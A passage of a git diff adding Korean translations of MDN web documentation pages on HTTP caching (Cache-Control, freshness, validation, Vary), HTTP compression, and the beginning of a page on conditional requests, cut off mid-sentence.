id="캐싱_동작의_대상">캐싱 동작의 대상</h2> + +<p>HTTP 캐싱은 선택적(optional)이지만 캐시된 리소스를 재사용하는 것은 보통 바람직한 일입니다. 하지만, HTTP 캐시들은 일반적으로 {{HTTPMethod("GET")}}에 대한 응답만을 캐싱하며, 다른 메서드들은 제외될 겁니다. 기본 캐시 키(primary cache key)는 요청 메서드 그리고 대상 URI로 구성됩니다(GET 요청만을 대상으로 하므로 URI만 사용되는 경우가 많습니다). 일반적인 캐싱 엔트리의 형태는 다음과 같습니다:</p> + +<ul> + <li>검색(retrieval) 요청의 성공적인 결과: HTML 문서, 이미지 혹은 파일과 같은 리소스를 포함하는 {{HTTPMethod("GET")}} 요청에 대한 {{HTTPStatus(200)}} (OK) 응답.</li> + <li>영구적인 리다이렉트: {{HTTPStatus(301)}} (Moved Permanently) 응답.</li> + <li>오류 응답: a {{HTTPStatus(404)}} (Not Found) 결과 페이지.</li> + <li>완전하지 않은 결과: {{HTTPStatus(206)}} (Partial Content) 응답.</li> + <li>캐시 키로 사용하기에 적절한 무언가가 정의된 경우의 {{HTTPMethod("GET")}} 이외의 응답.</li> +</ul> + +<p>캐시 엔트리는 요청이 컨텐츠 협상의 대상인 경우, 두번째 키에 의해 구별되는 여러 개의 저장된 응답들로 구성될 수도 있습니다. 좀 더 자세한 내용을 참고하시려면 <a href="#Varying_responses">아래에서</a> {{HTTPHeader("Vary")}} 헤더에 대해서 읽어보시기 바랍니다.</p> + +<h2 id="캐싱_제어">캐싱 제어</h2> + +<h3 id="Cache-control_헤더"><code>Cache-control</code> 헤더</h3> + +<p>{{HTTPHeader("Cache-Control")}} HTTP/1.1 기본 헤더 필드는 요청과 응답 양측 모두에 있어 캐싱 메커니즘을 위한 디렉티브를 지정하는데 사용됩니다. 이 헤더 필드가 제공하는 여러 디렉티브들로 캐싱 정책을 정의하고자 한다면 이 헤더를 사용하시기 바랍니다.</p> + +<h4 id="캐시하지_않음">캐시하지 않음</h4> + +<p>캐시는 클라이언트 요청 혹은 서버 응답에 관해서 어떤 것도 저장해서는 안됩니다. 요청은 서버 측으로 전송되고 전체 응답은 매번 다운로드됩니다.</p> + +<pre class="notranslate">Cache-Control: no-store +</pre> + +<h4 id="캐시하지만_재검증">캐시하지만 재검증</h4> + +<p>캐시된 복사본을 사용자에게 릴리즈 하기 전에, 유효성 확인을 위해 원 서버로 요청을 보냅니다.</p> + +<pre class="notranslate">Cache-Control: no-cache</pre> + +<h4 id="사설_캐시와_공개_캐시">사설 캐시와 공개 캐시</h4> + +<p>"public" 디렉티브는 응답이 어떤 캐시에 의해서든 캐시되어도 좋다는 것을 가리킵니다. 이것은 HTTP 인증, 혹은 보통 캐시 가능하지 않은 응답 상태 코드를 지닌 페이지가 이제 캐시되어야 할 경우 유용할 수 있습니다.</p> + +<p>반면 "private"은 응답이 단일 사용자만을 위한 것이며 공유 캐시에 의해 저장되어서는 안된다는 것을 가리킵니다. 사설 브라우저 캐시는 이런 경우에 응답을 저장할 수 있습니다.</p> + +<pre class="notranslate">Cache-Control: private +Cache-Control: public +</pre> + +<h4 id="만료">만료</h4> + +<p>여기서 가장 중요한 디렉티브는 "<code>max-age=<seconds></code>"로 리소스가 유효하다고 판단되는 최대 시간을 말합니다. 이 디렉티브는 요청 시간에 상대적이며, {{HTTPHeader("Expires")}}가 설정되어 있어도 그보다 우선합니다. 변경되지 않을 파일에 대해, 공격적으로 (긴 시간으로) 캐싱할 수 있습니다. 예를 들어 이미지, CSS 파일 그리고 자바스크립트 파일과 같은 정적 파일들입니다.</p> + +<p>좀 더 자세한 내용을 위해, 아래에서 <a href="#유효성Freshness">유효성</a> 섹션을 참고하시기 바랍니다.</p> + +<pre class="notranslate">Cache-Control: max-age=31536000</pre> + +<h4 id="검증">검증</h4> + +<p>"<code>must-revalidate</code>" 디렉티브 사용 시, 캐시는 오래된 리소스를 사용하기 전에 그 상태를 확인하고 만료된 리소스는 사용하지 말아야 합니다. 좀 더 자세한 내용은, 아래에서 <a href="#캐시_검증">검증</a> 섹션을 참고하시기 바랍니다.</p> + +<pre class="notranslate">Cache-Control: must-revalidate</pre> + +<h3 id="Pragma_헤더"><code>Pragma</code> 헤더</h3> + +<p>{{HTTPHeader("Pragma")}}는 HTTP/1.0 헤더입니다. <code>Pragma: no-cache</code>는 캐시가 검증을 위해 원래 서버에 요청을 보내도록 강제한다는 점에서 <code>Cache-Control: no-cache</code>와 유사합니다. 그러나 <code>Pragma</code>는 HTTP 응답에 대해 명세되지 않았으므로 일반적인 HTTP/1.1 <code>Cache-Control</code> 헤더를 신뢰성 있게 대체할 수 없습니다.</p> + +<p><code>Cache-Control</code> HTTP/1.1 헤더가 없는 HTTP/1.0 클라이언트와의 하위 호환성을 위한 경우에만 <code>Pragma</code>를 사용하여야 합니다.</p> + +<h2 id="유효성Freshness">유효성(Freshness)</h2> + +<p>리소스가 캐시 내에 저장되고 나면, 이론적으로는 영원히 캐시에 의해 서비스될 수도 있습니다. 캐시는 유한한 저장 공간을 가지므로 아이템들은 주기적으로 스토리지에서 제거됩니다. 이런 과정을 <em>캐시 축출(cache eviction)</em>이라고 부릅니다. 반면 어떤 리소스들은 서버 상에서 변경될 수 있고, 캐시가 갱신되어야 합니다. HTTP가 클라이언트-서버 프로토콜이므로, 리소스가 변경됐을 때 서버는 캐시와 클라이언트에 접근할 수 없습니다; 서버는 리소스에 대한 만료 시간을 알려줄 수밖에 없습니다. 만료 시간 이전에는, 리소스가 <em>유효(fresh)</em>합니다; 만료 시간 이후의 리소스는 <em>실효(stale)</em>됩니다. 축출 알고리즘은 대개 실효된 리소스보다 유효한 리소스에 특권을 부여합니다. 실효된 리소스는 축출되거나 무시되지 않는다는 것을 알아두시기 바랍니다; 캐시가 실효된 리소스에 대한 요청을 받은 경우, 이 리소스가 실제로 아직 유효한지 아닌지를 확인하기 위해 {{HTTPHeader("If-None-Match")}}와 함께 요청을 전달합니다. 만약 그렇다면, 서버는 요청된 리소스 본문을 전송하지 않고 {{HTTPStatus("304")}} (Not Modified) 헤더를 돌려보내 대역폭을 절약합니다.</p> + +<p>다음은 이런 과정에 대한 공유 캐시 프록시를 이용한 예제입니다:</p> + +<p><img alt="Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale." src="https://mdn.mozillademos.org/files/13771/HTTPStaleness.png" style="height: 910px; width: 822px;"></p> + +<p>유효 수명은 몇가지 헤더에 근거해 계산됩니다. "<code>Cache-control: max-age=N</code>" 헤더가 설정된 경우, 유효 수명은 N과 동일합니다. 만약 이 헤더가 없다면, 이런 경우가 매우 많습니다만, {{HTTPHeader("Expires")}} 헤더가 있는지 없는지를 검사합니다. <code>Expires</code> 헤더가 존재한다면, 그것의 값에서 {{HTTPHeader("Date")}} 헤더의 값을 뺀 결과가 유효 수명이 됩니다.</p> + +<h3 id="유효성_검사_휴리스틱">유효성 검사 휴리스틱</h3> + +<p>원래 서버가 명시적으로 유효성을 지정하지 않았으면 (예를 들어 {{HTTPHeader("Cache-Control")}} 또는 {{HTTPHeader("Expires")}} 헤더를 사용해서), 휴리스틱으로 유효 기간을 추정합니다.</p> + +<p>이 경우에는 {{HTTPHeader("Last-Modified")}} 헤더를 찾습니다. 이 헤더가 있다면, 캐시의 유효 수명은 <code>Date</code> 헤더 값에서 <code>Last-modified</code> 헤더 값을 뺀 값을 10으로 나눈 결과가 됩니다.<br> + 만료 시간은 다음과 같이 계산됩니다:</p> + +<pre class="notranslate">expirationTime = responseTime + freshnessLifetime - currentAge +</pre> + +<p><code>responseTime</code>은 브라우저가 응답을 수신한 시간을 말합니다. 더 많은 정보를 위해서는 <a href="https://tools.ietf.org/html/rfc7234#section-4.2.2">RFC 7234: Hypertext Transfer Protocol (HTTP/1.1): 4.2.2. Calculating Heuristic Freshness</a>를 참조하시기 바랍니다.</p> + +<h3 id="리비전된Revved_리소스">리비전된(Revved) 리소스</h3> + +<p>우리가 캐시된 리소스들을 많이 사용할수록, 웹 사이트의 응답성과 성능은 점점 더 좋아질 것입니다. 이것을 최적화하기 위한 좋은 방법은 만료 시간을 가능한 더 먼 미래로 설정하는 것입니다. 이것은 정기적으로나 자주 업데이트되는 리소스에 대해서는 가능하지만, 드물게 업데이트되는 리소스의 경우에는 문제가 됩니다. 이런 리소스들을 캐시하면 이득이 크지만, 업데이트하기가 매우 어렵기 때문입니다. 캐시한 리소스로부터 최대한 활용되는 리소스들로, 앞서 얘기한 방법 덕분에 이러한 리소스들을 갱신하기 더 어렵게 됩니다. 대표적으로 각 웹 페이지에 포함되고 링크된 기술적인 리소스들이 그렇습니다: 자바스크립트와 CSS 파일들의 변경은 드물지만, 그것들이 변경되었을 때에는 빠르게 갱신되기를 원할 겁니다.</p> + +<p>웹 개발자들은 Steve Sounders가 <em>revving</em><sup><a href="https://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/">[1]</a></sup>이라고 불렀던 기술을 발명했습니다. 드물게 업데이트되는 파일들은 특정한 방법으로 이름붙여집니다: 파일들의 URL내에, 보통 파일명에, 수정(혹은 버전) 번호가 추가됩니다. 그렇게 해서 해당 리소스의 각각의 새로운 수정본 자체는 결코 변경되지 않으며, 보통 1년 혹은 그 이상의 아주 먼 미래로 만료 시간이 설정될 수 있습니다. 새로운 버전을 가지기 위해, 해당 리소스와의 모든 연결(link)들은 전부 변경되어야 하며, 그것이 이 방법의 단점입니다: 이 추가적인 복잡함은 보통 웹 개발자들이 사용하는 툴체인에 의해 다루어집니다. 드물게 변경되는 리소스들이 변경되는 경우 자주 변경되는 리소스에 추가적인 변경을 합니다. 이런 리소스들이 읽혀지는 경우, 다른 리소스들의 새로운 버전들도 읽혀지게 됩니다.</p> + +<p>이 기술은 추가적인 이점도 가지고 있습니다: 캐시된 두 개의 리소스를 동시에 갱신해도 한 리소스의 오래된 버전이 다른 리소스의 새로운 버전과 함께 혼합되어 사용되는 경우를 초래하지 않을 것입니다. 이것은 웹 사이트가 상호 간의 의존성을 가지고 있는 CSS 스타일시트와 자바스크립트를 가지고 있는 경우 (같은 HTML 요소를 참조하기에 서로 의존하게 됩니다) 매우 중요합니다.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13779/HTTPRevved.png"></p> + +<p>리소스에 추가되는 수정 버전은 1.1.3과 같은 전통적인 버전 번호 형식이 아니어도 되고, 단조 증가하는 숫자들이 아니어도 됩니다. 그것은 해시 혹은 날짜와 같이 충돌만 되지 않는다면 무엇이든지 될 수 있습니다.</p> + +<h2 id="캐시_검증">캐시 검증</h2> + +<p>캐시된 문서의 만료 시간이 가까워져오면, 문서가 검증되거나 다시 불러오게 됩니다. 검증은 서버가 <em>강한 검증</em> 혹은 <em>약한 검증</em> 중 하나라도 제공하는 경우에만 일어날 수 있습니다.</p> + +<p>재검증은 사용자가 리로드 버튼을 누를 경우 촉발됩니다. 재검증은 캐시된 응답이 "<code>Cache-control: must-revalidate</code>" 헤더를 포함하고 있는 경우 일반적인 브라우징 중에도 촉발될 수 있습니다. 또 다른 요인은 <code>Advanced->Cache</code> 환경설정 패널 내에 캐시 검증 환경 설정입니다. 거기에는 문서가 로드될 때마다 검증을 강제할 수 있는 옵션이 있습니다.</p> + +<h3 id="ETags">ETags</h3> + +<p>{{HTTPHeader("ETag")}} 응답 헤더는 강한 검증으로써 사용될 수 있는 <em>사용자 에이전트에게 있어 불투명한(opaque)</em> 값입니다. 그것은 브라우저와 같은 HTTP 사용자 에이전트가 이 문자열이 무엇을 표현하는지 알 수 없고, 그것의 값이 무엇이 될지를 예측할 수 없다는 것을 의미합니다. <code>ETag</code> 헤더가 리소스에 대한 응답의 일부라면, 클라이언트는 이후 요청의 해더 내에 (캐시된 리소스를 검증하기 위해) {{HTTPHeader("If-None-Match")}}를 줄 수 있습니다.</p> + +<h3 id="Last-Modified">Last-Modified</h3> + +<p>{{HTTPHeader("Last-Modified")}} 응답 헤더는 약한 검증으로써 사용될 수 있습니다. 그것이 1초의 해상도만 가질 수 있기에 약하다고 간주됩니다. <code>Last-Modified</code> 헤더가 응답 내에 존재하면, 클라이언트는 캐시된 문서를 검증하기 위해 {{HTTPHeader("If-Modified-Since")}} 요청 헤더를 줄 수 있습니다.</p> + +<p>검증 요청을 받으면, 서버는 검증 요청을 무시하고 일반적인 {{HTTPStatus(200)}} <code>OK</code>으로 응답하거나, 브라우저에게 캐시된 복사본을 사용하도록 지시하기 위해 {{HTTPStatus(304)}} <code>Not Modified</code> (본문을 비워둔 상태로)를 반환할 수 있습니다. 후자의 응답은 캐시된 문서의 만료 시간을 갱신하는 헤더를 포함할 수도 있습니다.</p> + +<h2 id="상황에_따른_응답">상황에 따른 응답</h2> + +<p>{{HTTPHeader("Vary")}} HTTP 응답 헤더는 원 서버로부터 새로운 리소스를 요청해야 하는지 캐시된 응답이 사용될 수 있는지를 결정하기 위해 이후의 요청 헤더를 대조하는 방식을 결정합니다.</p> + +<p>캐시가 <code>Vary</code> 헤더 필드를 지닌 요청을 수신한 경우, <code>Vary</code> 헤더에 의해 지정된 모든 헤더 필드들이 원래의 (캐시된) 요청과 새로운 요청 사이에서 일치하지 않는다면 그 캐시된 응답을 사용해서는 안 됩니다.</p> + +<p><img alt="The Vary header leads cache to use more HTTP headers as key for the cache." src="https://mdn.mozillademos.org/files/13769/HTTPVary.png" style="height: 817px; width: 752px;"></p> + +<p>이 기능은 컨텐츠를 비압축 또는 (여러 가지) 압축 포맷으로 캐시될 수 있도록 하고, 유저 에이전트가 지원하는 포맷에 따라 제공하도록 할 때 흔히 사용됩니다. 예를 들어 서버는 <code>Vary: Accept-Encoding</code>을 설정하여 특정한 집합의 인코딩을 지원하는 (예를 들어 <code>Accept-Encoding: gzip,deflate,sdch</code>) 모든 요청들에 대해 각각 다른 버전의 리소스를 캐시하도록 할 수 있습니다.</p> + +<pre class="notranslate">Vary: <code>Accept-Encoding</code> +</pre> + +<div class="blockIndicator note"> +<p><strong>참고:</strong> <code>Vary</code>는 주의해서 사용하기 바랍니다 — 캐시의 효과를 떨어뜨리기 쉽습니다! 캐시 서버는 중복된 캐시 엔트리와 서버로의 불필요한 요청을 줄이기 위해 <a href="#정규화">정규화</a>를 하여야 합다. <code>Vary</code>에 지정된 헤더나 헤더 값이 여러 가지인 경우에는 특히 그렇습니다.</p> +</div> + +<p><code>Vary</code> 헤더는 데스크탑과 모바일 사용자에게 서로 다른 컨텐츠를 제공하거나, 검색 엔진에게 페이지의 모바일 버전을 발견할 수 있게 하는 (그리고 <a href="https://en.wikipedia.org/wiki/Cloaking">클로킹</a> 의도가 없다고 알려주는) 데에도 유용합니다. 이것은 보통 <code>Vary: User-Agent</code> 헤더를 사용해서 할 수 있습니다. {{HTTPHeader("User-Agent")}} 헤더 값이 모바일과 데스크탑 클라이언트 간에 서로 다르기 때문입니다..</p> + +<pre class="notranslate">Vary: User-Agent</pre> + +<h3 id="정규화">정규화</h3> + +<p>위에서 언급한 바와 같이, 캐시 서버는 기본적으로 (by default) 헤더와 헤더 값이 <em>정확히</em> 같은 요청<em>만</em> 매치시킵니다. 이것은 다른 유저 에이전트에 따라 미세한 차이가 있는 모든 요청들에 대해 원래 서버로 요청이 전달되고, 새로운 캐시 엔트리가 생성된다는 것을 의미합니다.</p> + +<p>예를 들어, 기본적으로 다음 헤더들은 제각각 별개의 요청을 서버에 전달하고, 별개의 캐시 엔트리가 생성되는 결과를 초래합니다: <code>Accept-Encoding: gzip,deflate,sdch</code>, <code>Accept-Encoding: gzip,deflate</code>, <code>Accept-Encoding: gzip</code>. 심지어 원래 서버가 모든 요청들에 대해 똑같은 리소스(gzip)를 응답할 (그리고 저장하고 있을) 때에도 그렇습니다!</p> + +<p>이러한 불필요한 요청과 중복된 캐시 엔트리를 피하기 위해서, 캐시 서버는 요청을 전처리해서 필요한 파일만 캐시하는 <strong>정규화</strong>를 하여야 합니다. 예를 들어, <code>Accept-Encoding</code>의 경우에는 다른 처리를 하기 전에 헤더 내의 <code>gzip</code>과 다른 압축 타입들을 체크할 수 있습니다 (아니면 그 헤더를 해제합니다). "수도 코드"로 표현한다면 다음과 같습니다:</p> + +<pre class="notranslate"><code>// Normalize Accept-Encoding +if (req.http.Accept-Encoding) { + if (req.http.Accept-Encoding ~ "gzip") { + set req.http.Accept-Encoding = "gzip"; + } + // elsif other encoding types to check +else { + unset req.http.Accept-Encoding; + } +}</code> +</pre> + +<p><code>User-Agent</code> 값은 <code>Accept-Encoding</code>보다 더욱 다양합니다. 그래서 만약 모바일과 데스크탑 버전을 캐싱하기 위해 <code>Vary: User-Agent</code>를 사용한다면, 위와 유사하게 <code>"mobile"</code>과 <code>"desktop"</code> 값이 요청의 <code>User-Agent</code> 헤더에 있는지 체크한 후에, 그것을 해제할 수 있습니다.</p> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li><a href="https://tools.ietf.org/html/rfc7234">RFC 7234: 하이퍼텍스트 전송 프로토콜 (HTTP/1.1): 캐싱</a></li> + <li><a href="https://www.mnot.net/cache_docs">캐싱 튜토리얼 – Mark Nottingham</a></li> + <li><a href="https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/http-caching">HTTP 캐싱 – Ilya Grigorik</a></li> + <li><a href="https://redbot.org/">레드봇</a>, 캐시와 관련된 HTTP 헤더 점검을 위한 도구.</li> +</ul> diff --git a/files/ko/web/http/compression/index.html b/files/ko/web/http/compression/index.html new file mode 100644 index 0000000000..74d1369762 --- /dev/null +++ b/files/ko/web/http/compression/index.html @@ -0,0 +1,64 @@ +--- +title: HTTP에서의 압축 +slug: Web/HTTP/Compression +translation_of: Web/HTTP/Compression +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary"><strong>압축은 웹 사이트의 성능을 높이는 중요한 방법입니다. 어떤 문서에 대해, 70%가 넘는 사이즈 축소는 필요로 하는 대역폭 용량을 낮춰줍니다. 수년간, 알고리즘은 점점 더 효율적으로 변해왔고, 클라이언트와 서버에 의해 새로운 것들이 지원되고 있습니다.</strong></p> + +<p>실제로, 웹 개발자들은 압축 메커니즘을 구현해야 할 필요가 없고, 브라우저와 서버가 그것들을 이미 구현하고 있어서, 개발자들은 서버가 잘 구성되어 있는지 확인만 하면 됩니다. 압축은 세 개의 서로 다른 계층에서 일어납니다.</p> + +<ul> + <li>먼저 몇 개의 파일 형식이 최적화된 특유의 방법으로 압축됩니다,</li> + <li>그런 뒤 HTTP 계층에서 일반적인 암호화가 일어납니다(리소스는 끝단 간에 압축되어 전송됩니다),</li> + <li>그리고 마침내 압축이 HTTP 커넥션의 두 노드 사이의 커넥션 계층에서 정의될 수 있습니다.</li> +</ul> + +<h2 id="파일_포맷_압축">파일 포맷 압축</h2> + +<p>각각의 데이터 타입은 그 안에서 <em>공간을 낭비하는</em>, 몇 가지 중복을 가지고 있습니다. 텍스트가 일반적으로 60% 정도의 중복을 가지고 있다면, 오디오와 비디오 같은 다른 미디어들에게 이 비율은 훨씬 더 높아질 수 있습니다. 텍스트와 다르게, 이런 다른 미디어 타입들은 저장하는데 많은 공간을 차지하고 이런 낭비된 공간을 되돌려놓으려는 요구는 매우 이른 시기에 나타났습니다. 엔지니어들은 특정 목적을 위해 설계된 파일 포맷이 사용하는 최적화 압축 알고리즘을 설계했습니다:</p> + +<ul> + <li><em>무손실 압축</em>은 압축-비압축 사이클이 복원된 데이터를 변경하지 않는 것을 말합니다. 원래의 데이터와 복원 데이터는 일치(byte 단위까지)합니다.<br> + 이미지에서는, <code>gif</code> 혹은 <code>png</code>가 무손실 압축을 사용합니다.</li> + <li><em>손실 압축은 </em>사용자가 인지하기 힘든 방법 내에서 원래의 데이터를 사이클이 변경하는 것을 말합니다. 웹에서의 비디오 포맷은 손실 압축이며, 이미지에 경우에는 <code>jpeg</code>이 그렇습니다.</li> +</ul> + +<p>어떤 포맷들은 <code>webp</code>처럼 무손실 혹은 손실로 이용 가능하며, 일반적으로 손실 알고리즘은 그 과정이 무손실 혹은 좀 더 나은 품질을 이끌도록 좀 더 나은 혹은 무손실의 압축을 가능하도록 구성될 수 있습니다. 사이트의 좀 더 나은 성능을 위해, 수용 가능한 수준의 품질을 지키면서도 가능한 많이 압축하는 것이 이상적입니다. 이미지의 경우, 도구가 만들어 낸 이미지는 웹을 위해 충분히 최적화되지 않을 수도 있습니다; 요구되는 품질를 유지하면서 가능한 많이 압축하는 도구를 사용하는 것을 추천합니다. 이것에 특화된 <a href="http://www.creativebloq.com/design/image-compression-tools-1132865">많은 도구들</a>이 있습니다.</p> + +<p>손실 압축 알고리즘은 무손실 압축 알로리즘보다 일반적으로 효율적입니다.</p> + +<div class="note"> +<p>압축이 특정 종류의 파일에서 더 잘 동작하므로, 파일을 두번 압축하는 것은 보통 아무런 도움이 되질 않습니다. 사실, 오버헤드 비용(알고리즘은 보통 초기의 크기에 추가할 사전을 필요로 합니다)이 크기가 큰 파일을 낳는 압축에서의 추가적인 이득보다 크므로, 자주 생산성 측면의 문제에 맞닥뜨리게 됩니다. 압축된 포맷의 파일들에 다음 두 기술을 사용하지 마시기 바랍니다.</p> +</div> + +<h2 id="종단_간_압축">종단 간 압축</h2> + +<p>압축에 있어, 종단간 압축은 웹 사이트의 가장 큰 성능 이득이 발생하는 곳입니다. 종단간 압축은 서버에 의해 처리되고 클라이언트에 도달할 때까지 결코 변하지 않을 메시지 바디의 압축을 나타냅니다. 중간 노드가 무엇이든지, 바디는 건들이지 않고 그대로 둡니다.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13801/HTTPEnco1.png" style="height: 307px; width: 955px;"></p> + +<p>모든 모던 브라우저와 서버들은 종단간 압축을 지원하며 협상하는 유일한 것은 사용할 압축 알고리즘입니다. 이런 압축 알고리즘들은 텍스트에 최적화되어 있습니다. 1990년대에, 압축 기술은 급격한 속도로 진보되고 있었으며 많은 수의 성공적인 알고리즘들이 선택 가능한 후보군에 추가되었습니다. 오늘날에는, 오직 두 개의 알고리즘만이 적절한 후보군입니다: 가장 일반적인 <code>gzip</code>, 그리고 새로운 도전자인 <code>br</code>이 그것이죠.</p> + +<p>사용할 알고리즘을 선택하기 위해, 브라우저와 서버는 <a href="/en-US/docs/Web/HTTP/Content_negotiation">사전 컨텐츠 협상</a>을 사용합니다. 브라우저는 브라우저가 지원하는 알고리즘 그리고 그것의 우선순위와 함께 {{HTTPHeader("Accept-Encoding")}} 헤더를 전송하며, 서버는 그 헤더를 뽑아내서 응답의 바디를 압축하는데 사용하고 서버가 선택한 알고리즘을 {{HTTPHeader("Content-Encoding")}} 헤더를 사용해 브라우저에게 알려줍니다. 컨텐츠 협상이 그것의 인코딩에 근거한 표현을 선택하는데 사용되므로써, 적어도 {{HTTPHeader("Content-Encoding")}}을 포함하는 하나의 {{HTTPHeader("Vary")}} 헤더가 반드시 응답 내 해당 헤더에 붙어 전송되어야 합니다; 그러한 방법으로, 캐시는 리소스의 다른 표현을 캐시하는게 가능해질 겁니다.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13811/HTTPCompression1.png" style="height: 307px; width: 771px;"></p> + +<p>압축이 명확한 성능 향상을 가져다주므로, 모든 파일에 대해 활성화하는 것을 추천하지만, 이미지, 오디오나 비디오와 같은 파일들은 이미 압축되어 있을 겁니다.</p> + +<p>Apache는 압축을 지원하며 <a href="http://httpd.apache.org/docs/current/mod/mod_deflate.html">mod_deflate</a>를 사용합니다; nginx의 경우 <a href="http://nginx.org/en/docs/http/ngx_http_gzip_module.html">ngx_http_gzip_module</a> 모듈이 있고 IIS는 <code><a href="https://www.iis.net/configreference/system.webserver/httpcompression"><httpCompression></a></code> 엘리먼트를 지원합니다.</p> + +<h2 id="Hop-by-hop_압축">Hop-by-hop 압축</h2> + +<p>종단간 압축과 비슷하긴 하지만, hop-by-hop 압축은 한 가지 필수적인 엘리먼트에 의해 차이가 납니다: 전송되게 될 구체적인 표현을 만들어내는, 서버 내에서 리소스에 대한 압축이 일어나지 않고, 클라이언트와 서버 사이의 경로 상에 있는 어떤 두 노드 사이에서 메서지의 바디에 압축이 일어납니다. 이따르는 중간 노드 간의 커넥션들은 다른 압축을 적용할수도 있습니다.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13807/HTTPTE1.png"></p> + +<p>이를 위해, HTTP는 종단간 압축에서의 컨텐츠 협상과 유사한 메커니즘을 사용합니다: 요청을 전송하는 노드는 노드의 요청이 {{HTTPHeader("TE")}} 헤더를 사용하고 있다는 것을 알려주고 다른 노드들은 알맞는 방법을 선택하여 적용하고 {{HTTPHeader("Transfer-Encoding")}} 헤더를 사용해 선택한 내용을 가리킵니다.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13809/HTTPComp2.png"></p> + +<p>실제로, hop-by-hop 압축은 서버와 클라이언트에게는 보이지 않으며 드물게 사용되고 있습니다.{{HTTPHeader("TE")}} 헤더와 {{HTTPHeader("Transfer-Encoding")}} 헤더는 리소스의 길이를 알지 못한 상태로 전송을 시작하도록, 청크에 의해 응답을 전송하는데 대부분 사용됩니다.</p> + +<p>Hop 계층에서 {{HTTPHeader("Transfer-Encoding")}} 헤더와 압축을 사용하는 것은, Apache, nginx 혹은 IIS와 같은 대부분의 서버들이 그것을 구성할 수 있는 쉬운 방법이 존재하지 않을 만큼 희귀합니다. 그런 구성들은 보통 프록시 계층에 적용됩니다.</p> diff --git a/files/ko/web/http/conditional_requests/index.html b/files/ko/web/http/conditional_requests/index.html new file mode 100644 index 0000000000..9e31efec5f --- /dev/null +++ b/files/ko/web/http/conditional_requests/index.html @@ -0,0 +1,139 @@ +--- +title: HTTP 조건부 요청 +slug: Web/HTTP/Conditional_requests +translation_of: Web/HTTP/Conditional_requests +--- +<p>{{HTTPSidebar}}</p> + +<p class="summary">영향을 받는 리소스들을 <em>검사기</em> 값을 이용해 비교함으로써, HTTP는, 성공인 경우라도, 요청의 결과가 변경될 수 있는 <em>조건부 요청</em>의 컨셉을 가지고 있습니다. 그런 요청들은 캐시 컨텐츠와 쓸모없는 컨트롤 회피를 검증하고, 다운로드를 이어서 하거나 서버 상의 문서를 업로드 또는 수정할 때 수정된 내용을 잃지 않도록 할 때처럼, 문서의 무결성을 확증하는데 유용할 수 있습니다.</p> + +<h2 id="원칙">원칙</h2> + +<p>HTTP 조건부 요청은 특정 헤더 값에 의존하여 기존과는 다르게 실행되는 요청입니다. 이 헤더들은 전제 조건을 정의하고 있으며 요청의 결과는 그 전제 조건이 일치하는지 아닌지에 따라 달라질 것입니다.</p> + +<p>그런 다른 동작들은 요청 메서드 그리고 전제 조건을 위해 사용되는 헤더 집합에 의해 정의됩니다:</p> + +<ul> + <li>보통 문서를 가져오려고 하는 {{HTTPMethod("GET")}}와 같은 {{glossary("safe")}} 메서드들의 경우, 오직 연관되어 있는 경우에 조건부 요청이 회신하는데 사용될 수 있으므로 대역폭을 아끼게 됩니다.</li> + <li>보통 문서를 업로드하는 {{HTTPMethod("PUT")}}와 같은 {{glossary("safe", "unsafe")}} 메서드들의 경우, 그 요청의 원본 문서가 서버에 저장되어 있는 것과 동일한 경우에만 조건부 요청이 문서 업로드에 사용될 수 있습니다.</li> +</ul> + +<h2 id="검사기">검사기</h2> + +<p>모든 조건부 요청들은 서버 상에 저장되어 있는 리소스가 특정 버전과 일치하는지를 검사하려고 합니다. 이를 이루기 위해, 조건부 요청은 리소스의 버전을 명시할 필요가 있습니다. 전체 리소스를 바이트 대 바이트로 비교하는 것은 불가능하므로(그리고 항상 그러길 원하는 것은 아닐테니!), 요청은 버전을 뜻하는 값을 함께 전송합니다: 그런 값들을 <em>검사기</em>라고 부르며 다음의 두 종류가 존재합니다:</p> + +<ul> + <li><em>last-modified</em> 날짜로, 문서의 최종 수정 일자를 말합니다.</li> + <li><em>entity tag</em> 혹은 <em>etag</em>라고 부르는 각 버전을 고유하게 나타내는 읽을 수 없는 문자열이 있습니다.</li> +</ul> + +<p>동일 리소스의 버전 비교는 약간 교모합니다: 컨텍스트에 의존하여 두 종류의 동질성 검사를 합니다. 바이트 대 바이트의 동일성을 원한다면 <em>강한 검사기</em>가 사용되는데, 예를 들어 다운로드를 이어할 때 사용됩니다. 사용자 에이전트가 두 리소스가 동일한 컨텐츠를 가지고 있는지만 알아내면 되는 경우에는 <em>약한 검사기</em>가 사용되는데, (다른 광고, 혹은 다른 날짜의 푸터와 같은) 덜 중요한 차이가 나는 경우에도 해당됩니다.</p> + +<p>검사의 종류는 사용되는 검사기에 따라 달라집니다; {{HTTPHeader("Last-Modified")}}와 {{HTTPHeader("ETag")}} 모두 서버 상에서 검사기를 구현하는 복잡도가 매우 다양함에도 불구하고 검사의 두 종류를 모두 지원합니다. HTTP는 기본적으로 강한 검사를 사용하며, 약한 검사기가 사용될 수 있는 경우에는 이를 명시합니다.</p> + +<h3 id="강한_검사">강한 검사</h3> + +<p id="sect1">강한 검사하는 리소스가 비교하려는 다른 리소스와 바이트 대 바이트로 동일한지를 보장하는데 그 특징이 있습니다. 이것은 조건부 헤더에 대해서 의무적이며, 다른 헤더들에 대해서는 기본값입니다. 강한 검사는 매우 엄격하고 서버 레벨에서 보장하기는 매우 어려울 수도 있으나, 때로는 성능의 손실을 감수하더라도 어떤 경우에도 데이터 무손실을 보장합니다.</p> + +<p>{{HTTPHeader("Last-Modified")}}를 이용해 강력한 검사를 위한 유일한 식별자를 갖는 것은 꽤 어렵습니다. 종종 이것은 리소스의 MD5 해시(혹은 유도물)를 가지고 {{HTTPHeader("ETag")}}를 사용하여 이루어집니다.</p> + +<h3 id="약한_검사">약한 검사</h3> + +<p>약한 검사는 문서의 내용이 유사한 경우 두 문서의 버전이 동일하다고 간주하는데에 강한 검사와의 차이가 있습니다. 예를 들어, 기존의 페이지와 푸터 내의 날짜 혹은 광고만 다른 페이지가 